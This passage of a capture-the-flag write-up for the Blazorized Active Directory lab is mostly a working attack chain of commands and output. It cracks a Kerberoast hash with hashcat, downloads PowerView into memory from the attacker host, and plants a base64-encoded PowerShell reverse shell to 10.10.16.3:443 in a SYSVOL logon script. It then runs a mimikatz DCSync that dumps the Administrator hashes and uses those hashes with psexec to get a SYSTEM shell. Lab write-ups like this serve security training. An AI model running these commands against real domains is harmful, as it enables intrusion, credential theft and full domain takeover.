A898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947D
CA6
I pass this hash to a file:
❯ cat RSA_4810_hash
$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6FE3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E3088830318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D68B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF1429BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543FE70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E868879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E83CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95FCEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52FF1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48DA898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947DCA6
And attempt to crack it through a Brute Force Password Cracking
with Hashcat
:
❯ hashcat -m 13100 -O -a 0 RSA_4810_hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$c500617d<SNIP>80b947dca6:(Ni7856Do9854Ki05Ng0005 #)
<SNIP>
We have credentials: RSA_4810:(Ni7856Do9854Ki05Ng0005 #)
.
We check if they work with NetExec
with WinRM
:
❯ netexec winrm 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'
WINRM 10.10.11.22 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM 10.10.11.22 5985 DC1 [+] blazorized.htb\RSA_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)
and they do.
So we connect as RSA_4810
user via WinRM
with evil-winrm
. Once logged in we check the permissions of this new user:
*Evil-WinRM* PS C:\Users\Public\Downloads> net user RSA_4810
User name RSA_4810
Full Name RSA_4810
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/25/2024 12:55:59 PM
Password expires Never
Password changeable 2/26/2024 12:55:59 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/2/2024 12:44:30 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Remote_Support_Admini
The command completed successfully.
where the group Remote_Support_Admini
is new.
We decide to search for files and eventually reach to C:\Windows\sysvol\sysvol\blazorized.htb\scripts
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:38 PM 11DBDAEB100D
d----- 5/29/2024 2:33 PM A2BFDCF13BB2
d----- 6/20/2024 9:06 AM A32FF3AEAA23
d----- 5/29/2024 2:36 PM CADFDDCE0BAD
d----- 5/29/2024 2:37 PM CAFE30DAABCB
where I can see some directories.
Note that this user can write over the directory A32FF3AEAA23
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> cmd.exe /c icacls A32FF3AEAA23
A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
BLAZORIZED\Administrator:(OI)(CI)(F)
BUILTIN\Administrators:(I)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Server Operators:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
In this directory we have more directories with random names and an empty .bat
file:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:34 PM 113EB3B0B2D3
d----- 5/29/2024 2:34 PM 21FDFAAFC1D0
d----- 5/29/2024 2:33 PM 23010E0A1A33
d----- 5/29/2024 2:34 PM 2BECF3DC0B3D
d----- 5/29/2024 2:33 PM 2F3FCC01E0A3
d----- 5/29/2024 2:34 PM 3DACA30B03D1
d----- 5/29/2024 2:34 PM 3EAF2A3E0CED
d----- 5/29/2024 2:34 PM A3F211DCB11D
d----- 5/29/2024 2:33 PM AADE1BA2A3E3
d----- 5/29/2024 2:34 PM AC2210DC311B
d----- 5/29/2024 2:34 PM B2ACCF2BABFB
d----- 5/29/2024 2:33 PM BE11A3E0EA13
d----- 5/29/2024 2:33 PM BFDDF0E1B33E
d----- 5/29/2024 2:34 PM C20F1322FB3C
d----- 5/29/2024 2:34 PM CD102CDEFD0E
d----- 5/29/2024 2:34 PM CED022B22EBA
d----- 5/29/2024 2:33 PM D0ECECBC1CCF
d----- 5/29/2024 2:33 PM F1D30FCB0100
d----- 5/29/2024 2:33 PM FD33C0CE11AC
-a---- 5/29/2024 2:33 PM 0 02FCE0D1303F.bat
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> type 02FCE0D1303F.bat
but nothing useful yet. However, since this user can write here and it contains scripts, there must be some service running it.
We upload again PowerView.ps1
in this new session and use Get-NetUser
command:
*Evil-WinRM* PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')
*Evil-WinRM* PS C:\Users\Public\Downloads> Get-NetUser
logoncount : 437
badpasswordtime : 7/1/2024 8:00:42 AM
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=blazorized,DC=htb
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 7/12/2024 5:37:37 AM
name : Administrator
objectsid : S-1-5-21-2039403211-964143010-2924010611-500
samaccountname : Administrator
logonhours : {255, 255, 255, 255...}
<SNIP>
logoncount : 3389
badpasswordtime : 6/19/2024 9:58:18 AM
distinguishedname : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
objectclass : {top, person, organizationalPerson, user}
displayname : SSA_6010
lastlogontimestamp : 7/12/2024 5:37:37 AM
userprincipalname : SSA_6010@blazorized.htb
name : SSA_6010
objectsid : S-1-5-21-2039403211-964143010-2924010611-1124
samaccountname : SSA_6010
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
where we note that the user SSA_6010
has an unusual amount of logins. In an Active Directory
environment, the logoncount
is attributed to the total number of succesful logons the user has performed. And more than 3000 is a lot and unusual.
We will create a malicious bat file
using a reverse shell with Powershell
from https://www.revshells.com/. More specifically, we will use PowerShell #3 (Base64)
payload with our attacker IP address and listening port 443
. We run then:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgCkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' | Out-File -FilePath C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat -Encoding ASCII
and the file is there:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:34 PM 113EB3B0B2D3
<SNIP>
d----- 5/29/2024 2:33 PM FD33C0CE11AC
-a---- 5/29/2024 2:33 PM 0 02FCE0D1303F.bat
-a---- 7/22/2024 1:21 AM 1344 exploit.bat
Then, we can try to modify the properties of SSA_6010
AD
user running Set-ADUser
(and after starting another netcat
listener on port 443
). After some minutes we get a shell as ssa_6010
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 61491
whoami
blazorized\ssa_6010
PS C:\Windows\system32>
This new user is part of the Super_Support_Administrators
group:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-DomainUser -Identity SSA_6010 |select samaccountname,objectsid,memberof,useraccountcontrol |fl
samaccountname : SSA_6010
objectsid : S-1-5-21-2039403211-964143010-2924010611-1124
memberof : {CN=Super_Support_Administrators,CN=Users,DC=blazorized,DC=htb, CN=Remote Management Users,CN=Builtin,DC=blazorized,DC=htb}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
We also check if this user can perform a DCSync
attack:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> $sid = 'S-1-5-21-2039403211-964143010-2924010611-1124'
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-ObjectAcl "DC=blazorized,DC=htb" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')}
AceQualifier : AccessAllowed
ObjectDN : DC=blazorized,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
ObjectSID : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2039403211-964143010-2924010611-498
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : DC=blazorized,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-All
ObjectSID : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2039403211-964143010-2924010611-516
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
<SNIP>
and it can.
The only problem is we do not have a password for this user, so we cannot use a tool like secretsdump.py
from Impacket
for this. Instead, we can use mimikatz
inside the target machine. Pass mimikatz
binary (that can be downloaded from its Github repository) to the target machine and, then (after passing from Powershell
to CMD
internally), attempt to perform a DCSync
attack against the Administrator
user:
C:\Users\Public\Downloads>.\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID : 500
Credentials:
Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
ntlm- 5: b471c416c10615448c82a2cbb731efcb
ntlm- 6: b471c416c10615448c82a2cbb731efcb
ntlm- 7: aec132eaeee536a173e40572e8aad961
ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
lm - 0: ad37753b9f78b6b98ec3bb65e5995c73
lm - 1: c449777ea9b0cd7e6b96dd8c780c98f0
lm - 2: ebbe34c80ab8762fa51e04bc1cd0e426
lm - 3: 471ac07583666ccff8700529021e4c9f
lm - 4: ab4d5d93532cf6ad37a3f0247db1162f
lm - 5: ece3bdafb6211176312c1db3d723ede8
lm - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
lm - 7: 8b3c1950099a9d59693858c00f43edaf
lm - 8: a14ac624559928405ef99077ecb497ba
<SNIP>
We check if this NTLM
hash works to log in, for example, via WinRM
with NetExec
:
❯ netexec winrm 10.10.11.22 -u 'Administrator' -H 'f55ed1465179ba374ec1cad05b34a5f3'
WINRM 10.10.11.22 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM 10.10.11.22 5985 DC1 [+] blazorized.htb\Administrator:f55ed1465179ba374ec1cad05b34a5f3 (Pwn3d!)
And it works. Just for fun, I will log in with psexec.py
via SMB
performing a Pass The Hash
attack:
❯ python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes ad37753b9f78b6b98ec3bb65e5995c73:f55ed1465179ba374ec1cad05b34a5f3 Administrator@blazorized.htb cmd.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on blazorized.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XphekYjf.exe
[*] Opening SVCManager on blazorized.htb.....
[*] Creating service DUqR on blazorized.htb.....
[*] Starting service DUqR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5933]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
and that’s it. We can find the root flag at Administrator
Desktop.
~Happy Hacking